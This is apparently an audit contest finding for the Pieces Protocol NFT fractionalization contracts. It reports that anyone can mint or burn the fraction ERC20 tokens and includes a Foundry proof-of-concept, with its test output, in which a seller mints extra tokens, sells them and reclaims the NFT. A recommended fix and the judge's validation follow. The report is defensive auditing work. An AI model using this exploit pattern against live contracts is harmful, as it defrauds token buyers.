Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-4] Unrestricted Token Manipulation in Fractionalized NFT Marketplace

Summary

The TokenDivider contract allows for the fractionalization of NFTs into ERC20 tokens via the divideNft function. However, the current implementation of ERC20ToGenerateNftFraccion allows arbitrary minting of ERC20 tokens by any user, which creates severe security vulnerabilities. It also allows direct burning of the generated ERC20 tokens, which can lead to state corruption between the TokenDivider contract and the ERC20ToGenerateNftFraccion contract.


Vulnerability Details

  1. Unrestricted ERC20 Minting:

    • The mint function in ERC20ToGenerateNftFraccion is publicly accessible, allowing any user to mint an arbitrary number of tokens.

    • Malicious users can mint tokens outside the marketplace’s control, leading to discrepancies between the marketplace's balances mapping and the actual ERC20 token supply.

  2. Unrestricted Burning:

    • Users can directly burn their ERC20 tokens via the burn function, bypassing the TokenDivider contract. This disrupts the marketplace’s internal accounting and can result in state corruption.

  3. Unintended Burnings:

    • A user might accidentally burn their fractionalized tokens using the burn function provided by ERC20ToGenerateNftFraccion, resulting in the permanent loss of these tokens.

    • This accidental burning could render it impossible for a legitimate user to reclaim the NFT, as the required token balance may no longer be available.

    • The marketplace contract does not currently prevent or account for such unintended burns, leading to potential loss of assets and user dissatisfaction.

  4. Token Balance Discrepancy:

    • The TokenDivider relies on its balances mapping to track ownership, but this mapping does not reflect unauthorized minting or burning in the ERC20 contract. This creates a mismatch that malicious users can exploit to manipulate the marketplace or defraud buyers.

  5. NFT Reclamation Exploitation:

    • A malicious user can mint tokens, sell or transfer them, and later reclaim the NFT by burning only the original required number of tokens. This undermines the marketplace’s security and integrity.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import { ERC20Mock } from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import { Test, console } from "forge-std/Test.sol";
import { DeployTokenDivider } from "script/DeployTokenDivider.s.sol";
import { TokenDivider } from "src/TokenDivider.sol";
import { ERC20ToGenerateNftFraccion } from "src/token/ERC20ToGenerateNftFraccion.sol";
contract ERC721Mock is ERC721 {
uint256 private _tokenIdCounter;
constructor() ERC721("MockToken", "MTK") { }
function mint(address to) public {
_safeMint(to, _tokenIdCounter);
_tokenIdCounter++;
}
}
contract AuditMintProofOfConcept is Test {
DeployTokenDivider internal deployer;
TokenDivider internal tokenDivider;
ERC721Mock internal erc721Mock;
address internal maliciousSellerAddress = makeAddr("maliciousSeller");
address internal buyerAddress = makeAddr("buyer");
error TokenDivider__NotEnoughErc20Balance();
function setUp() public {
// Deploy the TokenDivider using the provided deployment script
deployer = new DeployTokenDivider();
tokenDivider = deployer.run();
vm.deal(tokenDivider.owner(), 0);
// Deploy a mock ERC721 contract and mint one NFT to the malicious seller
erc721Mock = new ERC721Mock();
erc721Mock.mint(maliciousSellerAddress); // Mint NFT with tokenId = 0
}
function testMintErc20Tokens() public {
// Malicious seller divides the NFT to obtain fraction tokens
vm.startPrank(maliciousSellerAddress);
erc721Mock.approve(address(tokenDivider), 0);
tokenDivider.divideNft(address(erc721Mock), 0, 10_000 ether); // Divide NFT into 10k fraction tokens
vm.stopPrank();
// Get the fraction token address for the divided NFT
address fractionTokenAddress = tokenDivider.getErc20InfoFromNft(address(erc721Mock), 0);
// Create an instance of the fraction token contract
ERC20ToGenerateNftFraccion fractionToken = ERC20ToGenerateNftFraccion(fractionTokenAddress);
console.log("Malicious seller's fraction token balance: ", fractionToken.balanceOf(maliciousSellerAddress));
// Malicious seller mints additional ERC20 tokens
vm.startPrank(maliciousSellerAddress);
fractionToken.mint(maliciousSellerAddress, 10_000 ether);
vm.stopPrank();
console.log("Malicious seller's fraction token balance: ", fractionToken.balanceOf(maliciousSellerAddress));
// Transfer fraction tokens to a buyer
vm.startPrank(maliciousSellerAddress);
fractionToken.transfer(buyerAddress, 20_000 ether);
vm.stopPrank();
console.log("Malicious seller's fraction token balance: ", fractionToken.balanceOf(maliciousSellerAddress));
console.log("Buyer's fraction token balance: ", fractionToken.balanceOf(buyerAddress));
// Buyer attempts to claim the NFT but fails due to insufficient balance
vm.startPrank(buyerAddress);
fractionToken.approve(address(tokenDivider), 20_000 ether);
vm.expectRevert(TokenDivider__NotEnoughErc20Balance.selector);
tokenDivider.claimNft(address(erc721Mock), 0);
vm.stopPrank();
// Check the malicious seller's balance according to the contract
assertEq(tokenDivider.getBalanceOf(address(maliciousSellerAddress), address(fractionToken)), 10_000 ether);
console.log(
"Malicious seller's fraction token balance according to the contract: ",
tokenDivider.getBalanceOf(address(maliciousSellerAddress), address(fractionToken))
);
// Malicious seller mints more fraction tokens
vm.startPrank(maliciousSellerAddress);
fractionToken.mint(maliciousSellerAddress, 10_000 ether);
vm.stopPrank();
// Malicious seller claims back the NFT
vm.startPrank(maliciousSellerAddress);
fractionToken.approve(address(tokenDivider), 10_000 ether);
tokenDivider.claimNft(address(erc721Mock), 0);
vm.stopPrank();
assertEq(tokenDivider.getBalanceOf(address(maliciousSellerAddress), address(fractionToken)), 0 ether);
console.log(
"Malicious seller's fraction token balance according to the contract: ",
tokenDivider.getBalanceOf(address(maliciousSellerAddress), address(fractionToken))
);
// Owner of NFT token #0
assertEq(erc721Mock.ownerOf(0), maliciousSellerAddress);
}
}
% forge test --match-test testMintErc20Tokens -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/unit/mint.t.sol:AuditMintProofOfConcept
[PASS] testMintErc20Tokens() (gas: 1138320)
Logs:
Malicious seller's fraction token balance: 10000000000000000000000
Malicious seller's fraction token balance: 20000000000000000000000
Malicious seller's fraction token balance: 0
Buyer's fraction token balance: 20000000000000000000000
Malicious seller's fraction token balance according to the contract: 10000000000000000000000
Malicious seller's fraction token balance according to the contract: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.40ms (468.67µs CPU time)
Ran 1 test suite in 137.54ms (2.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

  • Loss of Buyer Funds:

    • Buyers may lose funds by purchasing fraudulent ERC20 tokens with no underlying NFT value.

  • Marketplace State Corruption:

    • The marketplace’s internal state (balances) can be rendered inaccurate, causing operational and trust issues.

  • Reputation Damage:

    • The marketplace loses credibility, leading to a decrease in user trust and participation.

  • Potential Exploits:

    • Malicious actors could exploit this flaw to sell fraudulent tokens repeatedly, draining buyers' funds and disrupting the marketplace.


Recommendations

1. Update ERC20ToGenerateNftFraccion Contract

Restrict minting and burning of ERC20 tokens to the TokenDivider contract:

pragma solidity ^0.8.18;
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { ERC20Burnable } from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
contract ERC20ToGenerateNftFraccion is ERC20, ERC20Burnable {
address internal _tokenDividerContract;
error UnauthorizedCaller();
error MethodNotAllowed();
constructor(string memory _name, string memory _symbol, address __tokenDividerContract) ERC20(_name, _symbol) {
_tokenDividerContract = __tokenDividerContract;
}
// Restrict mint calls only from the Marketplace contract:
// This will enforce minting to be only managed by the Marketplace contract and though
// no extra tokens can be minted.
function mint(address _to, uint256 _amount) public {
if (msg.sender != _tokenDividerContract) revert UnauthorizedCaller();
_mint(_to, _amount);
}
// Restrict all burn calls;
// This will enforce burns to be only managed by the Marketplace contract and though
// preventing the user from accidentally burning their tokens and causing a loss of the
// NFT that was fractionalized
function burn(uint256 value) public override {
revert MethodNotAllowed();
}
// Restrict burnFrom calls only from the Marketplace contract
// This will enforce burns to be only managed by the Marketplace contract and though
// preventing the user from accidentally burning their tokens and causing a loss of the
// NFT that was fractionalized
function burnFrom(address account, uint256 value) public override {
if (msg.sender != _tokenDividerContract) revert UnauthorizedCaller();
_spendAllowance(account, _msgSender(), value);
_burn(account, value);
}
}

And in the divideNft function in the TokenDivider contract:

ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(
string(abi.encodePacked(ERC721(nftAddress).name(), "Fraccion")),
string(abi.encodePacked("F", ERC721(nftAddress).symbol())),
address(this)
);
Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of token access control chekcs

Any person can mint the ERC20 token generated in representation of the NFT

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.